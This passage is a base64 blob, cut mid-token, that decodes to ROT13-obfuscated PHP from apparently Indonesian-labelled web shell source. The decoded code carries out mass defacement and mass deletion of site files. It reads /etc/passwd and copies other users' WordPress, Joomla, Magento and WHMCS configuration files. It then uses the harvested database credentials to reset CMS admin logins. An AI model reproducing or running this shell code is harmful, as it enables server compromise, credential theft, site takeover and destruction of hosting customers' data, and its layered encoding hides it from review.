QoJCQkJCQkJc3Z5cl9jaGdfcGJhZ3JhZ2YoJHlieG5mdiwgJHZmdl9mcGV2Y2cpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCXZzKCRfQ0JGR1snZmduZWcnXSkgew0KCQl2cygkX0NCRkdbJ2d2Y3JfZm5vaGEnXSA9PSAnem51bnknKSB7DQoJCQlycHViICI8cXZpIGZnbHlyPSd6bmV0dmE6IDVjayBuaGdiOyBjbnFxdmF0OiA1Y2snPiI7DQoJCQlmbm9oYV96bmZmbnkoJF9DQkZHWydxX3F2ZSddLCAkX0NCRkdbJ3Ffc3Z5ciddLCAkX0NCRkdbJ2ZwZXZjZyddKTsNCgkJCXJwdWIgIjwvcXZpPiI7DQoJCX0gcnlmcnZzKCRfQ0JGR1snZ3Zjcl9mbm9oYSddID09ICd6aGVudScpIHsNCgkJCXJwdWIgIjxxdmkgZmdseXI9J3puZXR2YTogNWNrIG5oZ2I7IGNucXF2YXQ6IDVjayc+IjsNCgkJCWZub2hhX292bmZuKCRfQ0JGR1sncV9xdmUnXSwgJF9DQkZHWydxX3N2eXInXSwgJF9DQkZHWydmcGV2Y2cnXSk7DQoJCQlycHViICI8L3F2aT4iOw0KCQl9DQoJfSByeWZyIHsNCglycHViICI8cHJhZ3JlPiI7DQoJcnB1YiAiPHNiZXogenJndWJxPSdjYmZnJz4NCgk8c2JhZyBmZ2x5cj0nZ3JrZy1xcnBiZW5ndmJhOiBoYXFyZXl2YXI7Jz5HdmNyIEZub2hhOjwvc2JhZz48b2U+DQoJPHZhY2hnIGdsY3I9J2VucXZiJyBhbnpyPSdndmNyX2Zub2hhJyBpbnlocj0nemhlbnUnIHB1cnB4cnE+T3ZuZm48dmFjaGcgZ2xjcj0nZW5xdmInIGFuenI9J2d2Y3JfZm5vaGEnIGlueWhyPSd6bnVueSc+Wm5mZm55PG9lPg0KCTxzYmFnIGZnbHlyPSdncmtnLXFycGJlbmd2YmE6IGhhcXJleXZhcjsnPlNieXFyZTo8L3NiYWc+PG9lPg0KCTx2YWNoZyBnbGNyPSdncmtnJyBhbnpyPSdxX3F2ZScgaW55aHI9JyRxdmUnIGZnbHlyPSdqdnFndTogNDUwY2s7JyB1cnZ0dWc9JzEwJz48b2U+DQoJPHNiYWcgZmdseXI9J2dya2ctcXJwYmVuZ3ZiYTogaGFxcmV5dmFyOyc+U3Z5cmFuenI6PC9zYmFnPjxvZT4NCgk8dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0ncV9zdnlyJyBpbnlocj0ndmFxcmsuY3VjJyBmZ2x5cj0nanZxZ3U6IDQ1MGNrOycgdXJ2dHVnPScxMCc+PG9lPg0KCTxzYmFnIGZnbHlyPSdncmtnLXFycGJlbmd2YmE6IGhhcXJleXZhcjsnPlZhcXJrIFN2eXI6PC9zYmFnPjxvZT4NCgk8Z3JrZ25lcm4gYW56cj0nZnBldmNnJyBmZ2x5cj0nanZxZ3U6IDQ1MGNrOyB1cnZ0dWc6IDIwMGNrOyc+VW5weHJxIG9sIEtNLUZycDwvZ3JrZ25lcm4+PG9lPg0KCTx2YWNoZyBnbGNyPSdmaG96dmcnIGFuenI9J2ZnbmVnJyBpbnlocj0nWm5mZiBRcnNucHInIGZnbHlyPSdqdnFndTogNDUwY2s7Jz4NCgk8L3NiZXo+PC9wcmFncmU+IjsNCgl9DQp9IHJ5ZnJ2cygkX1RSR1sncWInXSA9PSAnem5mZl9xcnlyZ3InKSB7DQoJc2hhcGd2YmEgdW5jaGZfem5mZm55KCRxdmUsJGFuem5zdnlyKSB7DQoJCXZzKHZmX2pldmdub3lyKCRxdmUpKSB7DQoJCQkkcXZlbiA9IGZwbmFxdmUoJHF2ZSk7DQoJCQlzYmVybnB1KCRxdmVuIG5mICRxdmVvKSB7DQoJCQkJJHF2ZXAgPSAiJHF2ZS8kcXZlbyI7DQoJCQkJJHlieG5mdiA9ICRxdmVwLicvJy4kYW56bnN2eXI7DQoJCQkJdnMoJHF2ZW8gPT09ICcuJykgew0KCQkJCQl2cyhzdnlyX3JrdmZnZigiJHF2ZS8kYW56bnN2eXIiKSkgew0KCQkJCQkJaGF5dmF4KCIkcXZlLyRhbnpuc3Z5ciIpOw0KCQkJCQl9DQoJCQkJfSByeWZydnMoJHF2ZW8gPT09ICcuLicpIHsNCgkJCQkJdnMoc3Z5cl9ya3ZmZ2YoIiIucXZlYW56cigkcXZlKS4iLyRhbnpuc3Z5ciIpKSB7DQoJCQkJCQloYXl2YXgoIiIucXZlYW56cigkcXZlKS4iLyRhbnpuc3Z5ciIpOw0KCQkJCQl9DQoJCQkJfSByeWZyIHsNCgkJCQkJdnModmZfcXZlKCRxdmVwKSkgew0KCQkJCQkJdnModmZfamV2Z25veXIoJHF2ZXApKSB7DQoJCQkJCQkJdnMoc3Z5cl9ya3ZmZ2YoJHlieG5mdikpIHsNCgkJCQkJCQkJcnB1YiAiWzxzYmFnIHBieWJlPXl2enI+UVJZUkdSUTwvc2JhZz5dICR5YnhuZnY8b2U+IjsNCgkJCQkJCQkJaGF5dmF4KCR5YnhuZnYpOw0KCQkJCQkJCQkkdnFrID0gdW5jaGZfem5mZm55KCRxdmVwLCRhbnpuc3Z5cik7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCXZzKCRfQ0JGR1snZmduZWcnXSkgew0KCQlycHViICI8cXZpIGZnbHlyPSd6bmV0dmE6IDVjayBuaGdiOyBjbnFxdmF0OiA1Y2snPiI7DQoJCXVuY2hmX3puZmZueSgkX0NCRkdbJ3FfcXZlJ10sICRfQ0JGR1sncV9zdnlyJ10pOw0KCQlycHViICI8L3F2aT4iOw0KCX0gcnlmciB7DQoJcnB1YiAiPHByYWdyZT4iOw0KCXJwdWIgIjxzYmV6IHpyZ3VicT0nY2JmZyc+DQoJPHNiYWcgZmdseXI9J2dya2ctcXJwYmVuZ3ZiYTogaGFxcmV5dmFyOyc+U2J5cXJlOjwvc2JhZz48b2U+DQoJPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J3FfcXZlJyBpbnlocj0nJHF2ZScgZmdseXI9J2p2cWd1OiA0NTBjazsnIHVydnR1Zz0nMTAnPjxvZT4NCgk8c2JhZyBmZ2x5cj0nZ3JrZy1xcnBiZW5ndmJhOiBoYXFyZXl2YXI7Jz5TdnlyYW56cjo8L3NiYWc+PG9lPg0KCTx2YWNoZyBnbGNyPSdncmtnJyBhbnpyPSdxX3N2eXInIGlueWhyPSd2YXFyay5jdWMnIGZnbHlyPSdqdnFndTogNDUwY2s7JyB1cnZ0dWc9JzEwJz48b2U+DQoJPHZhY2hnIGdsY3I9J2Zob3p2ZycgYW56cj0nZmduZWcnIGlueWhyPSdabmZmIFFyeXJncicgZmdseXI9J2p2cWd1OiA0NTBjazsnPg0KCTwvc2Jlej48L3ByYWdyZT4iOw0KCX0NCn0gcnlmcnZzKCRfVFJHWydxYiddID09ICdwYmFzdnQnKSB7DQoJJHJncCA9IHNiY3JhKCIvcmdwL2NuZmZqcSIsICJlIik7DQoJJHZxayA9IHp4cXZlKCJ2cWtfcGJhc3Z0IiwgMDc3Nyk7DQoJJHZmdl91Z3AgPSAiQmNndmJhZiBueXlcYUVyZGh2ZXIgQWJhclxhRm5ndmZzbCBOYWwiOw0KCSR1Z3AgPSBzYmNyYSgidnFrX3BiYXN2dC8udWducHByZmYiLCJqIik7DQoJc2pldmdyKCR1Z3AsICR2ZnZfdWdwKTsNCglqdXZ5cigkY25mZmpxID0gc3RyZ2YoJHJncCkpIHsNCgkJdnMoJGNuZmZqcSA9PSAiIiB8fCAhJHJncCkgew0KCQkJcnB1YiAiPHNiYWcgcGJ5YmU9ZXJxPlBuYSdnIGVybnEgL3JncC9jbmZmanE8L3NiYWc+IjsNCgkJfSByeWZyIHsNCgkJCWNlcnRfem5ncHVfbnl5KCcvKC4qPyk6azovJywgJGNuZmZqcSwgJGhmcmVfcGJhc3Z0KTsNCgkJCXNiZXJucHUoJGhmcmVfcGJhc3Z0WzFdIG5mICRoZnJlX3Zxaykgew0KCQkJCSRoZnJlX3BiYXN2dF9xdmUgPSAiL3VienIvJGhmcmVfdnFrL2Nob3l2cF91Z3p5LyI7DQoJCQkJdnModmZfZXJucW5veXIoJGhmcmVfcGJhc3Z0X3F2ZSkpIHsNCgkJCQkJJHRlbm9fcGJhc3Z0ID0gbmVlbmwoDQoJCQkJCQkiL3VienIvJGhmcmVfdnFrLy56bC5wYXMiID0+ICJwY25hcnkiLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay8ubnBwcmZmdW5mdSIgPT4gIkpVWi1ucHByZmZ1bmZ1IiwNCgkJCQkJCSIvdWJ6ci8kaGZyZV92cWsvY2hveXZwX3VnenkvaXFiX3BiYXN2dC5jdWMiID0+ICJJYmJxYmIiLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay9jaG95dnBfdWd6eS9vai1wYmFzdnRmL3BiYXN2dC52YXYiID0+ICJPYmZKcm8iLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay9jaG95dnBfdWd6eS9wYmFzdnQveGJhcnhmdi5jdWMiID0+ICJZYnhienJxdm4iLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay9jaG95dnBfdWd6eS95YnhienJxdm4vcGJhc3Z0L3hiYXJ4ZnYuY3VjIiA9PiAiWWJ4YnpycXZuIiwNCgkJCQkJCSIvdWJ6ci8kaGZyZV92cWsvY2hveXZwX3VnenkvcHl2cmFnbmVybi9wYmFzdnRoZW5ndmJhLmN1YyIgPT4gIkpVWlBGIiwNCgkJCQkJCSIvdWJ6ci8kaGZyZV92cWsvY2hveXZwX3VnenkvanV6L3BiYXN2dGhlbmd2YmEuY3VjIiA9PiAiSlVaUEYiLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay9jaG95dnBfdWd6eS9qdXpwZi9wYmFzdnRoZW5ndmJhLmN1YyIgPT4gIkpVWlBGIiwNCgkJCQkJCSIvdWJ6ci8kaGZyZV92cWsvY2hveXZwX3Vnenkvc2JlaHovcGJhc3Z0LmN1YyIgPT4gImN1Y09PIiwNCgkJCQkJCSIvdWJ6ci8kaGZyZV92cWsvY2hveXZwX3VnenkvZnZncmYvcXJzbmh5Zy9mcmdndmF0Zi5jdWMiID0+ICJRZWhjbnkiLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay9jaG95dnBfdWd6eS9wYmFzdnQvZnJnZ3ZhdGYudmFwLmN1YyIgPT4gIkNlcmZnbkZ1YmMiLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay9jaG95dnBfdWd6eS9uY2MvcmdwL3licG55Lmt6eSIgPT4gIlpudHJhZ2IiLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay9jaG95dnBfdWd6eS93YmJ6eW4vcGJhc3Z0aGVuZ3ZiYS5jdWMiID0+ICJXYmJ6eW4iLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay9jaG95dnBfdWd6eS9wYmFzdnRoZW5ndmJhLmN1YyIgPT4gIldiYnp5biIsDQoJCQkJCQkiL3VienIvJGhmcmVfdnFrL2Nob3l2cF91Z3p5L2pjL2pjLXBiYXN2dC5jdWMiID0+ICJKYmVxQ2VyZmYiLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay9jaG95dnBfdWd6eS9qYmVxY2VyZmYvamMtcGJhc3Z0LmN1YyIgPT4gIkpiZXFDZXJmZiIsDQoJCQkJCQkiL3VienIvJGhmcmVfdnFrL2Nob3l2cF91Z3p5L2pjLXBiYXN2dC5jdWMiID0+ICJKYmVxQ2VyZmYiLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay9jaG95dnBfdWd6eS9ucXp2YS9wYmFzdnQuY3VjIiA9PiAiQmNyYVBuZWciLA0KCQkJCQkJIi91YnpyLyRoZnJlX3Zxay9jaG95dnBfdWd6eS9meXBiYXN2dC5jdWMiID0+ICJGdmdyeWJ4IiwNCgkJCQkJCSIvdWJ6ci8kaGZyZV92cWsvY2hveXZwX3VnenkvbmNjeXZwbmd2YmEvcGJhc3Z0L3FuZ25vbmZyLmN1YyIgPT4gIlJ5eXZmeW5vIik7DQoJCQkJCXNiZXJucHUoJHRlbm9fcGJhc3Z0IG5mICRwYmFzdnQgPT4gJGFuem5fcGJhc3Z0KSB7DQoJCQkJCQkkbnpvdnlfcGJhc3Z0ID0gc3Z5cl90cmdfcGJhZ3JhZ2YoJHBiYXN2dCk7DQoJCQkJCQl2cygkbnpvdnlfcGJhc3Z0ID09ICcnKSB7DQoJCQkJCQl9IHJ5ZnIgew0KCQkJCQkJCSRzdnlyX3BiYXN2dCA9IHNiY3JhKCJ2cWtfcGJhc3Z0LyRoZnJlX3Zxay0kYW56bl9wYmFzdnQuZ2tnIiwiaiIpOw0KCQkJCQkJCXNjaGdmKCRzdnlyX3BiYXN2dCwkbnpvdnlfcGJhc3Z0KTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0JCQ0KCQkJfQ0KCQl9CQ0KCX0NCglycHViICI8cHJhZ3JlPjxuIHVlcnM9Jz9xdmU9JHF2ZS92cWtfcGJhc3Z0Jz48c2JhZyBwYnliZT15dnpyPlFiYXI8L3NiYWc+PC9uPjwvcHJhZ3JlPiI7DQp9IHJ5ZnJ2cygkX1RSR1sncWInXSA9PSAnd2h6Y3ZhdCcpIHsNCgkkdiA9IDA7DQoJcnB1YiAiPGNlcj48cXZpIHB5bmZmPSd6bmV0dmE6IDVjayBuaGdiOyc+IjsNCgkkcmdwID0gc2JjcmEoIi9yZ3AvY25mZmpxIiwgImUiKTsNCglqdXZ5cigkY25mZmpxID0gc3RyZ2YoJHJncCkpIHsNCgkJdnMoJGNuZmZqcSA9PSAnJyB8fCAhJHJncCkgew0KCQkJcnB1YiAiPHNiYWcgcGJ5YmU9ZXJxPlBuYSdnIGVybnEgL3JncC9jbmZmanE8L3NiYWc+IjsNCgkJfSByeWZyIHsNCgkJCWNlcnRfem5ncHVfbnl5KCcvKC4qPyk6azovJywgJGNuZmZqcSwgJGhmcmVfd2h6Y3ZhdCk7DQoJCQlzYmVybnB1KCRoZnJlX3doemN2YXRbMV0gbmYgJGhmcmVfdnFrX3doemMpIHsNCgkJCQkkaGZyZV93aHpjdmF0X3F2ZSA9ICIvdWJ6ci8kaGZyZV92cWtfd2h6Yy9jaG95dnBfdWd6eSI7DQoJCQkJdnModmZfZXJucW5veXIoJGhmcmVfd2h6Y3ZhdF9xdmUpKSB7DQoJCQkJCSR2Kys7DQoJCQkJCSR3ZWogPSAiWzxzYmFnIHBieWJlPXl2enI+RTwvc2JhZz5dIDxuIHVlcnM9Jz9xdmU9JGhmcmVfd2h6Y3ZhdF9xdmUnPjxzYmFnIHBieWJlPXRieXE+JGhmcmVfd2h6Y3ZhdF9xdmU8L3NiYWc+PC9uPiI7DQoJCQkJCXZzKHZmX2pldmdub3lyKCRoZnJlX3doemN2YXRfcXZlKSkgew0KCQkJCQkJJHdlaiA9ICJbPHNiYWcgcGJ5YmU9eXZ6cj5FSjwvc2JhZz5dIDxuIHVlcnM9Jz9xdmU9JGhmcmVfd2h6Y3ZhdF9xdmUnPjxzYmFnIHBieWJlPXRieXE+JGhmcmVfd2h6Y3ZhdF9xdmU8L3NiYWc+PC9uPiI7DQoJCQkJCX0NCgkJCQkJcnB1YiAkd2VqOw0KCQkJCQl2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ2NiZnZrX3RyZ2NqaHZxJykpIHsNCgkJCQkJCSRxYnpudmFfd2h6YyA9IHN2eXJfdHJnX3BiYWdyYWdmKCIvcmdwL2FuenJxLnBiYXMiKTsJDQoJCQkJCQl2cygkcWJ6bnZhX3doemMgPT0gJycpIHsNCgkJCQkJCQlycHViICIgPT4gKCA8c2JhZyBwYnliZT1lcnE+dG5vdmZuIG56b3Z5IGFuem4gcWJ6bnZhIGFsbjwvc2JhZz4gKTxvZT4iOw0KCQkJCQkJfSByeWZyIHsNCgkJCQkJCQljZXJ0X3puZ3B1X255eSgiIy9pbmUvYW56cnEvKC4qPykucW8jIiwgJHFiem52YV93aHpjLCAkcWJ6bnZhZl93aHpjKTsNCgkJCQkJCQlzYmVybnB1KCRxYnpudmFmX3doemNbMV0gbmYgJHF3KSB7DQoJCQkJCQkJCSRoZnJlX3doemN2YXRfaGV5ID0gY2JmdmtfdHJnY2podnEoQHN2eXJiamFyZSgiL3JncC9pbnl2bmZyZi8kcXciKSk7DQoJCQkJCQkJCSRoZnJlX3doemN2YXRfaGV5ID0gJGhmcmVfd2h6Y3ZhdF9oZXlbJ2FuenInXTsNCgkJCQkJCQkJdnMoJGhmcmVfd2h6Y3ZhdF9oZXkgPT0gJGhmcmVfdnFrX3doemMpIHsNCgkJCQkJCQkJCXJwdWIgIiA9PiAoIDxoPiRxdzwvaD4gKTxvZT4iOw0KCQkJCQkJCQkJb2Vybng7DQoJCQkJCQkJCX0NCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0gcnlmciB7DQoJCQkJCQlycHViICI8b2U+IjsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCgl2cygkdiA9PSAwKSB7IA0KCX0gcnlmciB7DQoJCXJwdWIgIjxvZT5HYmdueSBucW4gIi4kdi4iIFhuem5lIHF2ICIudHJndWJmZ29sYW56cigkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pLiIiOw0KCX0NCglycHViICI8L3F2aT48L2Nlcj4iOw0KfSByeWZydnMoJF9UUkdbJ3FiJ10gPT0gJ25oZ2JfcnF2Z19oZnJlJykgew0KCXZzKCRfQ0JGR1sndW53bmUnXSkgew0KCQl2cyhmZ2V5cmEoJF9DQkZHWydjbmZmX29uZWgnXSkgPCA2IEJFIGZnZXlyYSgkX0NCRkdbJ2hmcmVfb25laCddKSA8IDYpIHsNCgkJCXJwdWIgImhmcmVhbnpyIG5nbmggY25mZmpiZXEgdW5laGYgeXJvdnUgcW5ldiA2IHhuZW54Z3JlIjsNCgkJfSByeWZyIHsNCgkJCSRoZnJlX29uZWggPSAkX0NCRkdbJ2hmcmVfb25laCddOw0KCQkJJGNuZmZfb25laCA9IHpxNSgkX0NCRkdbJ2NuZmZfb25laCddKTsNCgkJCSRwYmFzID0gJF9DQkZHWydwYmFzdnRfcXZlJ107DQoJCQkkZnBuYV9wYmFzID0gZnBuYXF2ZSgkcGJhcyk7DQoJCQlzYmVybnB1KCRmcG5hX3BiYXMgbmYgJHN2eXJfcGJhcykgew0KCQkJCXZzKCF2Zl9zdnlyKCIkcGJhcy8kc3Z5cl9wYmFzIikpIHBiYWd2YWhyOw0KCQkJCSRwYmFzdnQgPSBzdnlyX3RyZ19wYmFncmFnZigiJHBiYXMvJHN2eXJfcGJhcyIpOw0KCQkJCXZzKGNlcnRfem5ncHUoIi9XUGJhc3Z0fHdiYnp5bi8iLCRwYmFzdnQpKSB7DQoJCQkJCSRxb3ViZmcgPSBuem92eXhuZ24oJHBiYXN2dCwidWJmZyA9ICciLCInIik7DQoJCQkJCSRxb2hmcmUgPSBuem92eXhuZ24oJHBiYXN2dCwiaGZyZSA9ICciLCInIik7DQoJCQkJCSRxb2NuZmYgPSBuem92eXhuZ24oJHBiYXN2dCwiY25mZmpiZXEgPSAnIiwiJyIpOw0KCQkJCQkkcW9hbnpyID0gbnpvdnl4bmduKCRwYmFzdnQsInFvID0gJyIsIiciKTsNCgkJCQkJJHFvY2Vyc3ZrID0gbnpvdnl4bmduKCRwYmFzdnQsInFvY2Vyc3ZrID0gJyIsIiciKTsNCgkJCQkJJGNlcnN2ayA9ICRxb2NlcnN2ay4iaGZyZWYiOw0KCQkJCQkkcGJhYSA9IHpsZmR5X3BiYWFycGcoJHFvdWJmZywkcW9oZnJlLCRxb2NuZmYpOw0KCQkJCQkkcW8gPSB6bGZkeV9mcnlycGdfcW8oJHFvYW56cik7DQoJCQkJCSRkID0gemxmZHlfZGhyZWwoIkZSWVJQRyAqIFNFQlogJGNlcnN2ayBCRVFSRSBPTCB2cSBORlAiKTsNCgkJCQkJJGVyZmh5ZyA9IHpsZmR5X3NyZ3B1X25lZW5sKCRkKTsNCgkJCQkJJHZxID0gJGVyZmh5Z1sndnEnXTsNCgkJCQkJJGZ2Z3IgPSBuem92eXhuZ24oJHBiYXN2dCwiZnZncmFuenIgPSAnIiwiJyIpOw0KCQkJCQkkaGNxbmdyID0gemxmZHlfZGhyZWwoIkhDUU5HUiAkY2Vyc3ZrIEZSRyBoZnJlYW56cj0nJGhmcmVfb25laCcsY25mZmpiZXE9JyRjbmZmX29uZWgnIEpVUkVSIHZxPSckdnEnIik7DQoJCQkJCXJwdWIgIlBiYXN2dCA9PiAiLiRzdnlyX3BiYXMuIjxvZT4iOw0KCQkJCQlycHViICJQWkYgPT4gV2JienluPG9lPiI7DQoJCQkJCXZzKCRmdmdyID09ICcnKSB7DQoJCQkJCQlycHViICJGdmdyYW56ciA9PiA8c2JhZyBwYnliZT1lcnE+cmVlYmUsIHRub3ZmbiBuem92eSBhbnpuIHFiem52YSBhbG48L3NiYWc+PG9lPiI7DQoJCQkJCX0gcnlmciB7DQoJCQkJCQlycHViICJGdmdyYW56ciA9PiAkZnZncjxvZT4iOw0KCQkJCQl9DQoJCQkJCXZzKCEkaGNxbmdyIEJFICEkcGJhYSBCRSAhJHFvKSB7DQoJCQkJCQlycHViICJGZ25naGYgPT4gPHNiYWcgcGJ5YmU9ZXJxPiIuemxmZHlfcmVlYmUoKS4iPC9zYmFnPjxvZT48b2U+IjsNCgkJCQkJfSByeWZyIHsNCgkJCQkJCXJwdWIgIkZnbmdoZiA9PiA8c2JhZyBwYnliZT15dnpyPmZoeGZyZiBycXZnIGhmcmUsIGZ2eW54bmEgeWJ0dmEgcXJhdG5hIGhmcmUgJiBjbmZmIGxuYXQgb25laC48L3NiYWc+PG9lPjxvZT4iOw0KCQkJCQl9DQoJCQkJCXpsZmR5X3B5YmZyKCRwYmFhKTsNCgkJCQl9IHJ5ZnJ2cyhjZXJ0X3puZ3B1KCIvSmJlcUNlcmZmLyIsJHBiYXN2dCkpIHsNCgkJCQkJJHFvdWJmZyA9IG56b3Z5eG5nbigkcGJhc3Z0LCJRT19VQkZHJywgJyIsIiciKTsNCgkJCQkJJHFvaGZyZSA9IG56b3Z5eG5nbigkcGJhc3Z0LCJRT19IRlJFJywgJyIsIiciKTsNCgkJCQkJJHFvY25mZiA9IG56b3Z5eG5nbigkcGJhc3Z0LCJRT19DTkZGSkJFUScsICciLCInIik7DQoJCQkJCSRxb2FuenIgPSBuem92eXhuZ24oJHBiYXN2dCwiUU9fQU5aUicsICciLCInIik7DQoJCQkJCSRxb2NlcnN2ayA9IG56b3Z5eG5nbigkcGJhc3Z0LCJnbm95cl9jZXJzdmsgID0gJyIsIiciKTsNCgkJCQkJJGNlcnN2ayA9ICRxb2NlcnN2ay4iaGZyZWYiOw0KCQkJCQkkYmNndmJhID0gJHFvY2Vyc3ZrLiJiY2d2YmFmIjsNCgkJCQkJJHBiYWEgPSB6bGZkeV9wYmFhcnBnKCRxb3ViZmcsJHFvaGZyZSwkcW9jbmZmKTsNCgkJCQkJJHFvID0gemxmZHlfZnJ5cnBnX3FvKCRxb2FuenIpOw0KCQkJCQkkZCA9IHpsZmR5X2RocmVsKCJGUllSUEcgKiBTRUJaICRjZXJzdmsgQkVRUkUgT0wgdnEgTkZQIik7DQoJCQkJCSRlcmZoeWcgPSB6bGZkeV9zcmdwdV9uZWVubCgkZCk7DQoJCQkJCSR2cSA9ICRlcmZoeWdbVlFdOw0KCQkJCQkkZDIgPSB6bGZkeV9kaHJlbCgiRlJZUlBHICogU0VCWiAkYmNndmJhIEJFUVJFIE9MIGJjZ3ZiYV92cSBORlAiKTsNCgkJCQkJJGVyZmh5ZzIgPSB6bGZkeV9zcmdwdV9uZWVubCgkZDIpOw0KCQkJCQkkZ25ldHJnID0gJGVyZmh5ZzJbYmNndmJhX2lueWhyXTsNCgkJCQkJdnMoJGduZXRyZyA9PSAnJykgew0KCQkJCQkJJGhleV9nbmV0cmcgPSAiWWJ0dmEgPT4gPHNiYWcgcGJ5YmU9ZXJxPnJlZWJlLCB0bm92Zm4gbnpvdnkgYW56biBxYnpudmEgYWxubjwvc2JhZz48b2U+IjsNCgkJCQkJfSByeWZyIHsNCgkJCQkJCSRoZXlfZ25ldHJnID0gIllidHZhID0+IDxuIHVlcnM9JyRnbmV0cmcvamMteWJ0dmEuY3VjJyBnbmV0cmc9J19veW5heCc+PGg+JGduZXRyZy9qYy15YnR2YS5jdWM8L2g+PC9uPjxvZT4iOw0KCQkJCQl9DQoJCQkJCSRoY3FuZ3IgPSB6bGZkeV9kaHJlbCgiSENRTkdSICRjZXJzdmsgRlJHIGhmcmVfeWJ0dmE9JyRoZnJlX29uZWgnLGhmcmVfY25mZj0nJGNuZmZfb25laCcgSlVSRVIgdnE9JyR2cSciKTsNCgkJCQkJcnB1YiAiUGJhc3Z0ID0+ICIuJHN2eXJfcGJhcy4iPG9lPiI7DQoJCQkJCXJwdWIgIlBaRiA9PiBKYmVxY2VyZmY8b2U+IjsNCgkJCQkJcnB1YiAkaGV5X2duZXRyZzsNCgkJCQkJdnMoISRoY3FuZ3IgQkUgISRwYmFhIEJFICEkcW8pIHsNCgkJCQkJCXJwdWIgIkZnbmdoZiA9PiA8c2JhZyBwYnliZT1lcnE+Ii56bGZkeV9yZWViZSgpLiI8L3NiYWc+PG9lPjxvZT4iOw0KCQkJCQl9IHJ5ZnIgew0KCQkJCQkJcnB1YiAiRmduZ2hmID0+IDxzYmFnIHBieWJlPXl2enI+Zmh4ZnJmIHJxdmcgaGZyZSwgZnZ5bnhuYSB5YnR2YSBxcmF0bmEgaGZyZSAmIGNuZmYgbG5hdCBvbmVoLjwvc2JhZz48b2U+PG9lPiI7DQoJCQkJCX0NCgkJCQkJemxmZHlfcHliZnIoJHBiYWEpOw0KCQkJCX0gcnlmcnZzKGNlcnRfem5ncHUoIi9abnRyYWdifFpudHJfUGJlci8iLCRwYmFzdnQpKSB7DQoJCQkJCSRxb3ViZmcgPSBuem92eXhuZ24oJHBiYXN2dCwiPHViZmc+PCFbUFFOR05bIiwiXV0+PC91YmZnPiIpOw0KCQkJCQkkcW9oZnJlID0gbnpvdnl4bmduKCRwYmFzdnQsIjxoZnJlYW56cj48IVtQUU5HTlsiLCJdXT48L2hmcmVhbnpyPiIpOw0KCQkJCQkkcW9jbmZmID0gbnpvdnl4bmduKCRwYmFzdnQsIjxjbmZmamJlcT48IVtQUU5HTlsiLCJdXT48L2NuZmZqYmVxPiIpOw0KCQkJCQkkcW9hbnpyID0gbnpvdnl4bmduKCRwYmFzdnQsIjxxb2FuenI+PCFbUFFOR05bIiwiXV0+PC9xb2FuenI+Iik7DQoJCQkJCSRxb2NlcnN2ayA9IG56b3Z5eG5nbigkcGJhc3Z0LCI8Z25veXJfY2Vyc3ZrPjwhW1BRTkdOWyIsIl1dPjwvZ25veXJfY2Vyc3ZrPiIpOw0KCQkJCQkkY2Vyc3ZrID0gJHFvY2Vyc3ZrLiJucXp2YV9oZnJlIjsNCgkJCQkJJGJjZ3ZiYSA9ICRxb2NlcnN2ay4icGJlcl9wYmFzdnRfcW5nbiI7DQoJCQkJCSRwYmFhID0gemxmZHlfcGJhYXJwZygkcW91YmZnLCRxb2hmcmUsJHFvY25mZik7DQoJCQkJCSRxbyA9IHpsZmR5X2ZyeXJwZ19xbygkcW9hbnpyKTsNCgkJCQkJJGQgPSB6bGZkeV9kaHJlbCgiRlJZUlBHICogU0VCWiAkY2Vyc3ZrIEJFUVJFIE9MIGhmcmVfdnEgTkZQIik7DQoJCQkJCSRlcmZoeWcgPSB6bGZkeV9zcmdwdV9uZWVubCgkZCk7DQoJCQkJCSR2cSA9ICRlcmZoeWdbaGZyZV92cV07DQoJCQkJCSRkMiA9IHpsZmR5X2RocmVsKCJGUllSUEcgKiBTRUJaICRiY2d2YmEgSlVSRVIgY25ndT0nanJvL2ZycGhlci9vbmZyX2hleSciKTsNCgkJCQkJJGVyZmh5ZzIgPSB6bGZkeV9zcmdwdV9uZWVubCgkZDIpOw0KCQkJCQkkZ25ldHJnID0gJGVyZmh5ZzJbaW55aHJdOw0KCQkJCQl2cygkZ25ldHJnID09ICcnKSB7DQoJCQkJCQkkaGV5X2duZXRyZyA9ICJZYnR2YSA9PiA8c2JhZyBwYnliZT1lcnE+cmVlYmUsIHRub3ZmbiBuem92eSBhbnpuIHFiem52YSBhbG5uPC9zYmFnPjxvZT4iOw0KCQkJCQl9IHJ5ZnIgew0KCQkJCQkJJGhleV9nbmV0cmcgPSAiWWJ0dmEgPT4gPG4gdWVycz0nJGduZXRyZy9ucXp2YS8nIGduZXRyZz0nX295bmF4Jz48aD4kZ25ldHJnL25xenZhLzwvaD48L24+PG9lPiI7DQoJCQkJCX0NCgkJCQkJJGhjcW5nciA9IHpsZmR5X2RocmVsKCJIQ1FOR1IgJGNlcnN2ayBGUkcgaGZyZWFuenI9JyRoZnJlX29uZWgnLGNuZmZqYmVxPSckY25mZl9vbmVoJyBKVVJFUiBoZnJlX3ZxPSckdnEnIik7DQoJCQkJCXJwdWIgIlBiYXN2dCA9PiAiLiRzdnlyX3BiYXMuIjxvZT4iOw0KCQkJCQlycHViICJQWkYgPT4gWm50cmFnYjxvZT4iOw0KCQkJCQlycHViICRoZXlfZ25ldHJnOw0KCQkJCQl2cyghJGhjcW5nciBCRSAhJHBiYWEgQkUgISRxbykgew0KCQkJCQkJcnB1YiAiRmduZ2hmID0+IDxzYmFnIHBieWJlPWVycT4iL